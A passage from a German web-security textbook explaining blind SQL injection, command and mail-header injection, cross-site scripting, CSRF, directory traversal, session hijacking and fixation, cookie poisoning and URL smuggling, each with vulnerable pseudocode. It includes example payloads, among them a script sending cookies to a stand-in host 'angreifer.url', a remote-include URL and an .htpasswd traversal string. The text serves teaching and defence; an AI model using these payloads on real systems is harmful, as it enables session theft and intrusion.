7. Das Phrack-Magazin ist ein Untergrund-Magazin, das sich unter anderem der IT-Sicherheit und dem Hacken widmet. Es besteht bereits seit dem 17. November 1985 und war weltweit das erste Magazin, das nur elektronisch verbreitet worden ist.

8. http://www.phrack.org/archives/54/P54-08

9. http://www.sqlsecurity.com/FAQs/SQLInjectionFAQ/tabid/56/Default.aspx

56

Blind SQL-Injection

5.4 Blind SQL-Injection

Blind SQL-Injection ist eine Spezialisierung des bereits oben be-schriebenen Angriffvektors SQL-Injection. Die Funktionsweiseunterscheidet sich prinzipiell nicht. Auch die Entstehung istgleich.

Allerdings liegen häufig keine tiefer gehenden Informationenüber die Datenbankstruktur vor, so dass diese erst einmal ermit-telt werden muss. Da der Angreifer keinerlei Kenntnis über dieStruktur hat, muss er blind vorgehen. Daher auch der speziali-sierte Begriff der Blind SQL-Injection.


� Eingabevalidierung (vgl. Kapitel 4.1.1)� Fehlerbehandlung (vgl. Kapitel 4.1.6)

Definition

Die Entstehung von Sicherheitslücken in Form von Blind SQL-Injection-Bugs ist mit der Entstehung von generellen SQL-Injec-tion-Bugs gleichzusetzen (vgl. auch Kapitel 5.2.1).

Allerdings geht es bei der Blind SQL-Injection mehr um das Er-mitteln der Datenbankstruktur, um gegebenenfalls weitere An-

57schnell + kompakt


griffe zu initiieren. Mit einem relativ geringen Aufwand wirddiese Struktur anhand von aussagekräftigen Fehlermeldungenoder deterministischen Fragen an das DBMS ermittelt.

Mit gezielten Fehleingaben werden Fehler provoziert sowie dasVerhalten der Applikation erforscht. Im Gegensatz zu den gene-rellen SQL-Injections sind für diese Vorgehensweise tiefergehen-de Informationen über das verwendete DBMS von Nöten. Ana-log dazu steigen auch die Anforderungen an die Verwendungvon SQL.

Beispiel

Als Beispiel wird der bereits oben genannte Code-Baustein zu-grunde gelegt, dessen Query einen Inhalt anhand einer Identifi-kationsnummer (Id) aus einer SQL-Datenbank laden soll.

Angenommen, es werden keine Fehlermeldungen ausgegebenund der reguläre Seitenaufruf lautet wieder inhalt.psc?id=10. Miteiner einfachen Manipulation des Seitenaufrufs kann überprüftwerden, ob generell SQL-Injections möglich sind.

Nehmen wir an, der genannte Seitenaufruf generiert eine Infor-mationsseite beispielsweise zu einem Produkt. Der Seitenaufrufwird wie folgt manipuliert: inhalt.psc?id=10 AND 1=1. Das Querysieht nun also so aus:

string dbCommand = 'SELECT [inhalt] FROM [inhalte] WHERE id=' + Parameter['id'];ExecuteQuery(dbCommand);

SELECT [inhalt] FROM [inhalte] WHERE id=10 AND 1=1

58

Blind SQL-Injection

Die hinzugefügte Bedingung AND 1=1 ergibt logischerweise im-mer true. Das Query müsste folglich unverändert ausgeführtwerden, sofern SQL-Injections denn möglich sind. Wird die Pro-duktinformation nun nicht mehr angezeigt (und eventuell statt-dessen eine leere Seite oder eine Fehlermeldung), so ist die An-wendung bezüglich SQL-Injections geschützt (siehe Kapitel 6.9).

Andernfalls wird im Browser nach wie vor die Produkt-Informa-tionsseite angezeigt: Die Anwendung ist generell für SQL-Injec-tions empfänglich. Das Datenbank-Management-System kannnun nach Belieben deterministisch ausgefragt werden.

Allerdings kann es auch vorkommen, dass diese hinzugefügteBedingung (AND 1=1) gefiltert wird. Alternativ kann dann mitAND 1 != 1 gearbeitet und überprüft werden, ob keine Daten-bankinhalte mehr angezeigt werden.

Das Ausfragen erfolgt mit dem AND-Operator. Jedes DBMS bie-tet eine Reihe von Objekten, beispielsweise Variablen, Konstan-ten und Funktionen, um nähere Informationen über das DBMSzu erhalten. Darunter fallen die Version sowie nähere Informati-onen zur aktuellen Verbindung, wie die verwendete Datenbankund der aktuell eingeloggte Benutzer.

Diese Objekte unterscheiden sich natürlich je nach verwendetemDBMS. Mehr Informationen über die unterstützten Datenbank-objekte finden sich in dem jeweiligen Handbuch des entspre-chenden DBMS wieder.

Aber nicht nur diese Objekte unterscheiden sich, sondern auchandere Informationen, wie beispielsweise der Benutzername desAdministrators. So heißt dieser in MySQL root, in PostgreSQLpostgres und in einem Microsoft-SQL-System sa.

Für eine erfolgreiche Kompromittierung sind folglich Informa-tionen über das verwendete DBMS unverzichtbar.

59schnell + kompakt


Per Bruteforcing (vgl. Kapitel 5.14) kann nahezu das kompletteDatenbankschema ermittelt werden. Diese Vorgehensweise desRatens basiert, wie bereits erwähnt, komplett auf dem Frage-spiel. Angenommen, das DBMS bietet die Funktion USER(), dieden aktuell mit der Verbindung eingeloggten Benutzernamenausgibt. So kann das DBMS einfach gefragt werden, ob es sichhierbei um den Benutzer Administrator handelt:

Das Fragespiel kann beliebig weitergeführt werden, bis der aktu-elle Benutzer ermittelt worden ist.

Mit ein paar Informationen über das verwendete DBMS könnensehr viele Informationen abgefragt werden. Diese Vorgehens-weise ist sehr zeitintensiv und erfordert viel Geduld. Es gibt di-verse Tools zur Automatisierung und Vereinfachung solcher An-griffe. Von vollautomatisierter Arbeitsweise sind sie allerdingsnoch weit entfernt, „manuelles Mitdenken“ wird vorausgesetzt.Ohne die Arbeitsweise von SQL-Injections und eines SQL-DBMSan sich verstanden zu haben, sind Blind SQL-Injections nichtmöglich.

5.5 Command-Injection

Command-Injection (Befehlsinjektion) bezeichnet das Einschleu-sen (Injizieren) bösartiger Befehle zur Kompromittierung derFunktionsschicht einer Webapplikation (Applikation und Ser-ver). Diese Angriffstechnik resultiert, wie auch bei SQL-Injec-tions, aus mangelnder Maskierung oder Überprüfung von Be-nutzereingaben.

Angreifern wird das Einschleusen eigener Befehle über die feh-lerhafte Anwendung ermöglicht. Dabei ist es durchaus möglich,

AND USER() = 'root'

60

Command-Injection

die Kontrolle über die Applikation sowie im schlimmsten Fall so-gar über den gesamten Server zu verlieren.


� Eingabevalidierung (vgl. Kapitel 4.1.1)� Fehlerbehandlung (vgl. Kapitel 4.1.6)

Definition

Bei der Command-Injection wird bösartiger Programmcode inder jeweiligen Sprache (beispielsweise PHP, ASP.NET, JSP, Ruby,…) eingeschleust. Dieser wird unmittelbar auf Serverebene aus-geführt und ermöglicht je nach Konfiguration die unmittelbareÜbernahme des Kontos, unter dem die Anwendung läuft, odersogar des gesamten Servers.

Ein Angreifer kann in diesem Fall eigene Befehle einschleusenund komplette Funktionszeichenketten an den Server übertra-gen. Aufgrund der fehlenden Überprüfung seitens der Appli-kation wird diese Zeichenkette unmittelbar auf dem Server aus-geführt. In der Funktionszeichenkette können folglich Befehlezum Löschen von Daten enthalten sein sowie Befehle zur Mani-pulation der Anwendung. Prinzipiell kann das Ergebnis durch-aus vielfältig sein, was bis zum Erreichen von Systemrechten

61schnell + kompakt


reicht. Dabei kann gegebenenfalls die Applikation zerstört oderaber bösartige Applikationen (beispielsweise Filesharing- oderSpamkomponenten) installiert werden.

Aber auch mit minderen Mitteln kann bereits ein enormer Scha-den angerichtet werden. Ein Kontaktformular oder ein E-Mail-Script kann schnell für potenzielle Spammer interessant werden,sofern sich über eine solche Schwachstelle zusätzliche Headerin-formationen einschleusen lassen.

Je nachdem ist es sogar möglich, an sensible Daten wie beispiels-weise Passwörter auf dem betroffenen System zu gelangen.

Beispiel

Einige Foren- und Content-Management-Systeme haben mittler-weile relativ komplexe Funktionalitäten zum Verwalten vonDateien eingebaut. Aufgrund der wachsenden Komplexität vonWebapplikationen werden auch immer öfter an manchen StellenSystembefehle umgesetzt. Erfolgt dies dynamisch ohne Über-prüfung der entsprechenden Parameter, so ist der Schaden be-reits absehbar.

Mit dem folgenden Code-Ausschnitt sollen Dateien verschobenund gelöscht werden:

Über ein Formular werden als Befehlsparameter (command) Wer-te zum Verschieben und Löschen einer Datei angeboten. Da diese

string command = Parameter['command'];string file = Parameter['file'];string param = Parameter['param'];

System.Execute(command+' '+file+' -'+param);

62

Command-Injection

serverseitig allerdings nicht noch einmal überprüft werden, kannein Angreifer beliebige Befehle generieren und ausführen lassen.

Je nach Rechtevergabe reicht die Kompromittierung von derWebapplikation bis hin zum gesamten Serversystem. Dabei kön-nen Benutzer- und Applikationsdaten entwendet oder manipu-liert oder aber sogar das gesamte Serversystem zerstört werden.

Eine solche Sicherheitslücke ist für einen Angreifer eine Gold-grube. Es ist auch problemlos möglich, bösartige Anwendungen(illegales Filesharing, Bots usw.) zu installieren und halbwegsunbemerkt im Hintergrund laufen zu lassen, ohne dass dieApplikation oder der Server auffällig beschädigt wird.

Aber auch für Spammer gibt es dank Command-Injections ein in-teressantes Ziel. Das folgende Beispiel stellt ein unsicheres Scriptzum Versenden einer E-Mail dar. Es erhält sämtliche Daten überein Formular.

Der kritische Parameter liegt hier bei der Absenderadresse (from-Variable). In diesem Fall wird der Absender unmittelbar in denMailheader eingefügt. Da er nicht überprüft wird, können andieser Stelle beliebig viele weitere Header-Informationen einge-schleust werden.

string from = Parameter['from'];string subject = Parameter['subject'];string text = Parameter['text'];

string to = 'text';

string header += 'From: ' + from + '\n';

SendMail(to, subject, text, header);

63schnell + kompakt


Ein Angreifer kann so direkt über das Formular per Absen-derfeld (wo eigentlich die E-Mail-Adresse des entsprechendenBenutzers eingetragen werden sollte) weitere Informationenhinzufügen, indem er eine Zeichenkette nach dem folgendenSchema angibt: [email protected] \n CC: [email protected] \n BCC:[email protected] [...].

Es können also beliebige Empfänger per CC10 und BCC11 inte-griert werden. Dank diesem unsicheren Script und einem selbstgeschriebenen Tool wird der Server zum Paradies für Spammerund der Serverbetreiber gerät unverschuldet in die Schusslinie.Er unterstützt ungewollt die Welle des elektronischen Abfalls.

5.6 Cross-Site Scripting

Cross-Site Scripting (CSS/XSS) bezeichnet das Einschleusen vonbösartigem Programmcode in eine Webapplikation. Dieser An-griff erfolgt seitenübergreifend (Cross-Site) und wird unter Zuhil-fenahme eines anderen Servers durchgeführt.

Diese Art von Angriff resultiert, wie bereits bei SQL-Injections,aus der mangelnden Eingabevalidierung in der entsprechendenAnwendung.

Dieser Bug öffnet eine schwere Sicherheitslücke in der entspre-chenden Anwendung und ist als sehr kritisch einzustufen. Po-tenzielle Angreifer können diese Sicherheitslücke ausnutzen, umnicht vertrauenswürdige Informationen in einen vertrauenswür-digen Kontext (den der betroffenen Applikation) zu bringen.

10. CC steht für Carbon Copy (Durchschlag, Kopie) und ist ein Header-Parameter, der eine oder mehrere kommaseparierte E-Mail-Adressen enthält, an die eine Kopie der E-Mail gesendet wird.

11. BCC steht für Blind Carbon Copy (Blindkopie) und ist vergleichbar mit der CC. Allerdings wird dieser Parameter nicht an die Empfänger übertragen. Der jewei-lige Adressat kann folglich nicht alle Empfänger der Mail nachvollziehen.

64

Cross-Site Scripting

Eine solche Sicherheitslücke ermöglicht das Ausspionieren vonBenutzerdaten und kann bis zur feindlichen Übernahme des ge-samten Servers führen.



Definition

Beim Cross-Site Scripting wird bösartiger Programmcode, meis-tens in Form von JavaScript, eingeschleust und später auf derSeite des Clients ausgeführt. Dies kann im Webbrowser gesche-hen wie auch in einem E-Mail-Programm.

Dabei wird dem unwissenden Opfer ein präparierter Hyperlinkuntergeschoben, der auf den ersten Blick allerdings optisch abso-lut vertrauenswürdig wirkt, oder ein speziell präpariertes Java-Script in eine Datenbank platziert, das für das Opfer nicht nach-vollziehbar ist.

65schnell + kompakt


Um einen solchen Hyperlink vertrauenswürdig und unauffälligerscheinen zu lassen, bedient sich ein Angreifer gerne speziellerKodierungsmethoden und URL-Spoofing12-Techniken.

Schafft es ein Angreifer, bösartigen JavaScript-Code in einer Da-tenbank so zu platzieren, dass dieser bei einem Aufruf der Appli-kation automatisch geladen wird, können problemlos Cookiesausgelesen und bösartige Inhalte im vertrauenswürdigen Kon-text der Applikation ausgeführt werden. Für einen normalen Be-nutzer ist eine solche Manipulation in den meisten Fällen nichtersichtlich.

Da die Cookies wichtige Informationen bzgl. Login- und Session-Daten beinhalten können, könnte ein solcher Angriff enorme Fol-gen für ein ahnungsloses Opfer darstellen.

Beispiel

Der folgende Quellcode liest einen Kommentar von einem For-mular ein und speichert ihn in eine Datenbank und gibt sämtli-che vorhandenen Kommentare aus. Ein solches Szenario gibt esheutzutage überall (beispielsweise in Gästebüchern, Blogs oderOnlineshops als Rezensionsfunktion).

12. URL-Spoofing ist eine Technik, um die Adresse einer Webseite so zu fälschen und die wahre Identität so zu verschleiern, dass einem Opfer eine speziell präparierte Webseite in einem vertrauenswürdigen Kontext erscheint. In der Regel geschieht dies mit einer betrügerischen Absicht und ist eine gängige Methode bei sogenann-ten Phishing-Angriffen.

string dbCommand = 'INSERT INTO [gb] (kommentar) VALUES ("' + Parameter['kommentar'] + '")';ExecuteQuery(dbCommand);

66

Cross-Site Scripting

Dabei wird der zu speichernde Kommentar nicht überprüft unddirekt in die Datenbank geschrieben. Ein potenzieller Angreiferkönnte nun hingehen und einen kleinen JavaScript-Codeschnip-sel auf diese Art und Weise in der Datenbank speichern. Da sämt-liche Einträge auch unmittelbar ausgegeben werden, wird derJavaScript-Code im vertrauenswürdigen Kontext der entspre-chenden Webseite ausgeführt.

Sämtliche JavaScripts können in die Datenbank geschrieben wer-den. Dabei können beispielsweise andere Webseiten aufgerufen,Container mit eigenem Inhalt erzeugt oder sogar Cookies ausge-lesen werden.

Wird als Kommentar der folgende Code eingegeben, so kann derAngreifer sensible Cookie-Daten, beispielsweise mit Anmelde-informationen eines Onlineshops, bequem auslesen und weiter-verarbeiten.

In diesem Fall wird per JavaScript ein spezielles Script als Bildeingebunden. Es überträgt über einen Parameter die Daten derCookies und liefert eine Grafik zurück. Der Angreifer ist im Be-

dbCommand = 'SELECT [kommentar] FROM [gb]';string results[] = ExecuteReader(dbCommand);

foreach result in results { echo result;}

<script type="text/javascript"> var cookie = document.cookie(); var url = 'http://angreifer.url/bild.php?c='; document.write('<img src='+url+cookie+' />');</script>

67schnell + kompakt


sitz sicherheitsrelevanter Cookie- und Sessiondaten und kannsich diese zu Eigen machen, indem er sich den Cookie beispiels-weise selber setzt. Er kann nun als dieser Benutzer agieren.

Der Benutzer allerdings bekommt davon in der Regel nichts mit.Er weiß noch nicht einmal, dass er „beklaut“ worden ist. Undwenn er es bemerkt, geht er unwissenderweise davon aus, dassdies durch die vertrauenswürdige Webseite geschehen ist.

Natürlich kann per JavaScript und einer solchen Lücke nochmehr Schaden angerichtet werden. Links können manipuliertwerden und Formulardaten lassen sich problemlos umleiten. Diegesamte Seite kann funktionell manipuliert werden, was nichtselten eine wahre Fundgrube für Spammer mit Phishing-Hinter-gedanken darstellt.

In einer Mail kann der Link so getarnt werden, dass er aussieht,als würde er tatsächlich von der vertrauenswürdigen Seite stam-men. Öffnet das ahnungslose Opfer diesen, hat die Falle schonzugeschnappt. Der Angreifer könnte nun beispielsweise Kredit-karten- und generelle Zahlungsdaten auf einer umgeleiteten, be-trügerischen Webseite abfragen.

Dank automatisierter Webcrawler13 ist es in relativ kurzer Zeitmöglich, viele anfällige Webseiten und auch E-Mail-Adressen zufinden.

5.7 Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF/XSRF) bezeichnet die Mani-pulation eines HTTP-Request (Webseitenaufruf). Analog zumCross-Site Scripting erfolgt auch ein solcher Angriff seitenüber-

13. Ein Webcrawler (auch Spider oder Robot bzw. Bot genannt) ist eine Applikation, die automatisiert das Internet durchsucht und Webseiten nach zuvor definierten Definitionen analysiert.

68

Cross-Site Request Forgery

greifend und wird unter der Zuhilfenahme eines anderen Sys-tems durchgeführt.

Ein solcher Bug ermöglicht die Manipulation von Daten einerWebapplikation durch einen unautorisierten Angreifer. Andersals bei den bisherigen Angriffsvektoren ist die Ausnutzung die-ser Sicherheitslücke nur über ein unwissendes Opfer möglich,das zudem ein autorisierter Benutzer der entsprechenden Appli-kation sein muss.

Mit dieser Sicherheitslücke können auf direktem Wege lediglichDaten manipuliert werden. Indirekt bieten sich hier erst die Mög-lichkeiten der Datenspionage sowie der Serverkompromittie-rung.



Definition

Sicherheitslücken in Form von Cross-Site Request Forgery-Bugsresultieren aus der mangelhaften Überprüfung eines ankom-menden Requests zur Ausführung einer Benutzeraktion (Bestell-vorgänge, Administrationsvorgänge usw.).

69schnell + kompakt


Dabei wird der HTTP-Request so manipuliert, dass er eine vomAngreifer unautorisierte Aktion durch ein unwissendes, autori-siertes Opfer ausführen lässt. Diese Aktion wird vollständig imBrowser des Opfers durchgeführt, ohne jegliche Unterstützungseitens des Angreifers.

Die Durchführung eines XSRF-Angriffs erfolgt in der Regel inKombination mit weiteren Angriffsvektoren: Cross-Site Script-ing und/oder URL-Smuggling14.

Beispiel

Angenommen, in einem Administrationsbereich gibt es eine Op-tion zum Hinzufügen eines neuen Benutzers, die dem folgendenListing zu Grunde liegt:

Der Administrationsbereich ist generell nur autorisierten Usernzugänglich. Per XSRF allerdings wurde dem Opfer der folgendeLink untergeschoben:

14. URL-Smuggling bezeichnet das Unterschieben einer manipulierten URL an ein unwissendes Opfer.

string action = Parameter['action'];string username = Parameter['name'];string userpwd = Parameter['pwd'];string userrole = Parameter['role'];

switch(action) { case "add_user": addUser(username, userpwd, userrole); [..]}

admin.psc?action=add_user&name=hackbard&pwd=secret&role=admin

70

Directory Traversal

Entdeckt das Opfer die untergeschobene Adresse nicht, so wirdin diesem Fall ein neuer Benutzer mit den Benutzerrechten einesAdministrators angelegt. Der Angreifer hat vollen Systemzu-griff.

Natürlich sind sämtliche Szenarien denkbar. Per XSRF könnteein eingeloggter User passiv Aktionen im Sinne des Angreifersdurchführen oder sich, wie oben gezeigt, Administrationsrechteaneignen.

5.8 Directory Traversal

Directory Traversal (Verzeichnisdurchlauf, auch Path-Traversalund Forced-Browsing genannt) ist eine Technik, um an nicht öf-fentliche, aber zugängliche Daten zu gelangen. In der Regel solltedie Konfiguration eines Webservers den Zugriff auf Dateienaußerhalb des Webverzeichnisses unterbinden. Zusätzlich solltedie Applikation jeden Request kritisch überprüfen.

Bei einer Directory-Traversal-Attacke versucht ein Angreifer,mittels manipulierter Pfadangaben in einem Request auf sensibleDateien, wie beispielsweise Konfigurations- oder Passwortdatei-en, außerhalb des regulären Webverzeichnisses zuzugreifen.


� Eingabevalidierung (vgl. Kapitel 4.1.1)� Serverkonfiguration (vgl. Kapitel 4.1.8)

71schnell + kompakt


Definition

Sicherheitslücken in Form von Director-Traversal-Bugs resultie-ren aus der mangelhaften Überprüfung eines ankommenden Re-quest zur Anforderung einer speziellen Ressource.

Beispiel

Vor allem bei dynamisch aufgebauten Applikationen werdenhäufig weitere Bestandteile aufgrund von spezifischen URL-Parametern oder Formulardaten eingebunden. Wird hier unsau-ber gearbeitet, so kann ein Angreifer beliebigen Quellcode ein-schleusen. Das folgende Beispiel bindet weitere Funktionalitätaufgrund eines URL-Parameters ein:

Hierbei wird der Parameter nicht validiert und direkt an eineSystemfunktion zum Einbinden einer weiteren Datei weitergege-ben. Ein gewollter Seitenaufruf könnte dann wie folgt lauten: in-dex.psc?subpage=startseite. In diesem Fall würde die Unterseitestartseite.psc eingebunden werden.

string subpage = Parameter['subpage'];

include(subpage + '.psc');

72

Directory Traversal

Ein geschickter Angreifer verändert diese URL und hofft auf Er-folg oder eine aussagekräftige Fehlermeldung. Trifft eines vonbeidem zu, so kann er einen Schritt weitergehen und den Seiten-aufruf wie folgt gestalten: index.psc?subpage=http://angreifer.url/script. Je nach Serverkonfiguration können Remote-Inclusionsdurchgeführt werden und die Anwendung würde nun das ent-fernte Script einbinden. Sofern der Server des Angreifers dasScript unkompiliert im Quelltext ausgibt, wird es im Kontext derentsprechenden Applikation kompiliert.

Ein Angreifer könnte beispielsweise auf diesem Weg einen Datei-manager einbinden. Da dieser Dateimanager nun im gleichenKontext wie die Applikation ausgeführt wird, kann er sich be-quem einen Überblick über die Anwendung verschaffen und ge-gebenenfalls in den Besitz des Quelltextes gelangen oder sogarÄnderungen vornehmen.

Dieser Weg ist natürlich, dank der Ausführung einer fremdenSeite in einem vertrauenswürdigen Kontext, auch wieder interes-sant für Spammer in Form von Phishing-Mails. Ein Link mit ein-gebauter Ausnutzung der Sicherheitslücke kann wieder als ver-trauenswürdig getarnt werden.

Aber auch wenn Remote-Inclusions dank einer guten Serverkon-figuration nicht möglich sind, muss es auf der Seite lediglich einunsicheres Upload-Formular geben, über das bösartiger Quell-code auf dem Server gespeichert werden kann. Mit obiger Sicher-heitslücke wird es dann eingebunden oder alleine ausgeführt.

Angenommen, eine solche Bearbeitungsfunktionalität basiertauf dem folgenden Code-Schnipsel:

string filename = Parameter['filename'];string filetype = Parameter['filetype'];

string content = file_read(filename + filetype);

73schnell + kompakt


Da an dieser Stelle, abgesehen von der fehlenden Validierung,noch nicht einmal ein Dateityp festgelegt wird, ist es theoretischmöglich, jede ASCII-Datei zumindest auszulesen. Läuft die An-wendung unter den Rechten eines Systemadministrators, sokönnte die Passwortdatei eingelesen werden: index.psc?file-name=../../../../../../../../.htpasswd&fileytpe=.

Meistens laufen Webapplikationen allerdings nicht auf dem er-forderlichen Level. Dennoch ist dieses Szenario sehr kritisch.Speichert die Applikation ihre Benutzerdaten unverschlüsselt ineine textbasierte Datenbankdatei, so kann ein Angreifer auchdiese auslesen und erhält zumindest schon einmal Administra-tionsrechte auf Anwendungsebene.

5.9 Session-Hijacking

Session-Hijacking (Entführung einer Sitzung) ist eine Technikzur Übernahme einer fremden Session. Da HTTP ein zustandslo-ses Protokoll ist, werden Sitzungen benötigt, um diverse Daten(Authentifizierungsdaten, Warenkorbinhalte usw.) einer Verbin-dung eindeutig zuordnen zu können. Die wirklichen Daten ver-bleiben in der Regel auf der Serverseite, dem Benutzer werdenüber eine Id (Session-Id) diese Daten zugewiesen. Die Id wird aufder Clientseite in einem Cookie hinterlegt oder in der URL mit-geführt.

Durch die Entführung einer solchen Sitzung versucht ein Angrei-fer, die aktuelle Vertrauensstellung auszunutzen, um dieselbenPrivilegien wie der aktuelle, rechtmäßige Benutzer zu erlangen.


� Sessionmanagement (vgl. Kapitel 4.1.3)

74

Session-Hijacking

Definition

Dem Session-Hijacking geht zunächst ein passives Sniffing derKommunikation voraus. Der Angreifer muss folglich die benö-tigten Informationen über die Sitzung ermitteln. In der Regel istdies die eindeutige Session-Id.

Um an diese Session-Id zu gelangen, werden normalerweise wei-tere Angriffsvektoren, wie das Cross-Site Scripting oder ein Man-In-The-Middle-Angriff, zu Rate gezogen. Wird die Session nichteindeutig an den privilegierten Benutzer gebunden, so kann einAngreifer mit dieser Id die Session übernehmen und mit derIdentität des Opfers agieren (z.B. Bestellungen in seinem Namenoder unautorisierte Administrationsvorgänge tätigen).

Beispiel

Sämtliche Shop-Applikationen und Administrationsbereichegreifen auf Sessions zurück. Der folgende Code-Ausschnitt liestdie Session-Id aus einem Cookie aus und püft anhanddessen dieBerechtigung zum Ändern von Benutzerdaten.

75schnell + kompakt


Da die Session-Id und die Session erst nach einer erfolgreichenAuthentifizierung vergeben werden, erfolgt keine weitere Über-prüfung. Das ist fatal.

Gelangt ein Angreifer folglich an diese Session-Id (z.B. per Cross-Site Scripting), kann er sich den Cookie selbst setzen (siehe auchCookie-Poisoning) und unberechtigt mit der berechtigten Identi-tät arbeiten.

5.10 Session-Fixation

Session-Fixation (Sitzungsbindung) ist eine Technik der Session-Manipulation und ähnelt dem Session-Hijacking. Allerdingsgeht es hierbei nicht direkt um die Übernahme einer Session,sondern eher darum, eine eigene Session zu privilegieren.

Dabei wird die Session im herkömmlichen Sinne nicht entwen-det, sondern eine eigene Session erstellt. Diese Session wird danneinem privilegierten Opfer untergeschoben, das sodann die Au-thentifizierung vornimmt.


� Sessionmanagement (vgl. Kapitel 4.1.3)

string sessionId = getCookie('sessionId');

if ( validateSession(sessionId) ) { [..]}

76

Session-Fixation

Definition

Bei der mangelhaften Session-Fixation lässt sich ein Angreifervon der entsprechenden Applikation eine gültige Session-Id aus-stellen. Unter Verwendung eines weiteren Angriffsvektors, inder Regel per Cross-Site Scripting oder URL-Smuggling, wirddem Opfer dann die Session-Id dieser gültigen Session unterge-schoben.

Authentifiziert sich nun das privilegierte Opfer mit dieser Ses-sion-Id, kann sich der Angreifer als sein Opfer ausgeben und mitdessen Identität Daten spionieren oder manipulieren.

Der Bezug einer gültigen Session stellt bei diesem Vektor keinProblem dar. Das Unterschieben allerdings kann nur mit den be-reits beschränkten Mitteln durchgeführt werden. Im Gegensatzzum Session-Hijacking entfällt aber im Vorfeld das passiveSniffing der entsprechenden Kommunikation.

Auch wenn Session-Hijacking und Session-Fixation analog zu-einander einige Parallelen aufweisen, so basieren beide auf ver-schiedenen Grundlagen. Ein Angreifer hat folglich zum Errei-chen seines Ziels mehrere Möglichkeiten.

77schnell + kompakt


Beispiel

Wie bereits erwähnt, greifen unter anderem sämtliche Shop-Applikationen und Administrationsbereiche auf Sessions zu-rück. In der Regel wird dem Benutzer direkt beim ersten Aufrufder Applikation eine Session zugewiesen, die allerdings zu Be-ginn keine weiteren Privilegien aufweist.

Ein Angreifer organisiert sich eine solche Session und schiebt siebeispielsweise per URL-Parameter dem Opfer unter.

Ruft das Opfer nun diese untergeschobene URL auf, benutzt esdie Session des Angreifers mit.

Der folgende Code-Schnipsel erhält die Benutzerdaten von ei-nem Formular und überprüft den Zugang. Ist der Benutzer auto-risiert, wird die Session entsprechend aktualisiert.

Logt sich nun das Opfer mit dieser Session ein, ist auch der An-greifer ab sofort ein autorisierter Benutzer der entsprechendenApplikation.

login.psc?sid=84gdhe43hdd8343dsdd3232s9654

string username = Parameter['user'];string password = Parameter['pass'];string sessionId = getCookie('sessionId');boolean authorized = false;

if ( validateUser(username, password) ) { authorized = true; updateSession(sessionId, authorized); }

78

Cookie-Poisoning

5.11 Cookie-Poisoning

Cookie-Poisoning (Cookie-Vergiftung) ist eine Technik zur Mani-pulation von Cookies. Auch dieser Angriffsvektor ist relativ ana-log zum Session-Hijacking zu sehen, allerdings bietet er je nachApplikation weitere Möglichkeiten der Kompromittierung.

Bei dieser Technik werden Cookie-Daten nachhaltig verändert.Dies kann zum einen zur Manipulation diverser Daten führenund zum anderen auch zum unberechtigten Erhalt diverser Pri-vilegien.


� Eingabevalidierung (vgl. Kapitel 4.1.1)� Sessionmanagement (vgl. Kapitel 4.1.3)

Definition

Beim Cookie-Poisoning manipuliert ein Angreifer ein Cookie,um in irgendeiner Form einen Vorteil zu erreichen. Beim Session-Hijacking wird das Cookie-Poisoning beispielsweise dafür ver-wendet, ein Cookie mit einer privilegierten Session-Id zu ver-sehen.

79schnell + kompakt


Bei jedem Request an eine Applikation wird das Cookie imHeader des Request mit übertragen. Ein Angreifer geht nun hinund manipuliert einfach den Request oder das Cookie direkt.

Da oftmals auch Authentifizierungsdaten oder Daten eines Wa-renkorbs in einem Cookie hinterlegt werden, kann mit dieserTechnik schon ein gewisser Schaden angerichtet werden.

Beispiel

Viele Applikationen bieten die Möglichkeit, dass Benutzerdatenzum Einloggen in eine Applikation „gemerkt“ werden können,so dass der Benutzer bei der nächsten Verwendung direkt auto-matisch eingeloggt wird, ohne erneut seine Benutzerdaten einge-ben zu müssen.

Im folgenden Quelltext werden im Cookie ein Benutzername so-wie ein Statusflag (z.B. authorized) hinterlegt. Die Applikationermittelt diese Daten anhand des Request und loggt den Benut-zer umgehend ein und gibt ihm eine neue, gültige Session.

string username = getCookie('user');string flag = getCookie('authorized');string sessionId;boolean authorized = false;

if ( validateUser(username) && flag = '1' ) { authorized = true; LogIn(username); sessionId = startSession(); setCookie('sessionId') = sessionId; updateSession(sessionId, authorized); }

80

URL-Smuggling

Da in diesem Fall die Cookie-Daten direkt verwendet und alsvertrauenswürdig eingestuft werden, erfolgt lediglich eine Über-prüfung, ob der User existiert und ob er wirklich berechtigt ist,sich einzuloggen. Allerdings wird nicht mehr überprüft, ob essich wirklich um den entsprechenden Benutzer handelt. Auchwird kein Passwort mehr kontrolliert.

Ein Angreifer kann sich nun folglich mit einem ihm bekanntenBenutzernamen problemlos einloggen, indem er sich einfach dasentsprechende Statusflag setzt oder den Request auf direktemWeg manipuliert:

5.12 URL-Smuggling

Das URL-Smuggling (URL-Unterschieben) beschreibt eine Tech-nik, um eine manipulierte URL einem Opfer unterzuschieben.Allerdings erfolgt das Unterschieben dieser manipulierten URLnicht automatisiert (wie z.B. beim Cross-Site Scripting), sondernwie beim Social Engineering (vgl. Kapitel 5.1) auf Basis der zwi-schenmenschlichen Beeinflussung.

Dabei kann die URL per E-Mail oder als Link auf einer Webseiteverbreitet werden. Der Angreifer versucht mit seiner Überre-denskunst, das Opfer zum Öffnen der URL zu bringen bzw. miteinem spannenden und interessanten Text das Opfer zu locken.


� Risikofaktor „Mensch“ (vgl. Kapitel 4.1.9)

GET /login.psc HTTP/1.0[..]Cookie: user=Opfer; authorized=1;

81schnell + kompakt


Definition

Beim URL-Smuggling steht das Ziel der Verbreitung einer mani-pulierten URL im Vordergrund. In der Regel erfolgt die Durch-führung mit zwei Methoden: per E-Mail (z.B. Phishing) oder alsLink auf einer Webseite.

Mit einem möglichst überzeugenden Text bzw. einer solchen Be-schreibung wird versucht, das Opfer entsprechend zu täuschen,damit es die URL öffnet. Das Ziel kann dabei das Ausspähen sen-sibler Daten (z.B. Zahlungsdaten) oder die Manipulation von Da-ten (z.B. im Kontext einer Cookie-Poisoning-Attacke) darstellen.

Um die Original-URL möglichst sicher und unauffällig zu gestal-ten, werden häufig auch URL-Spoofing-Techniken angewandtoder sogenannte Kurz-URL-Dienste verwendet, um die URL zutarnen.

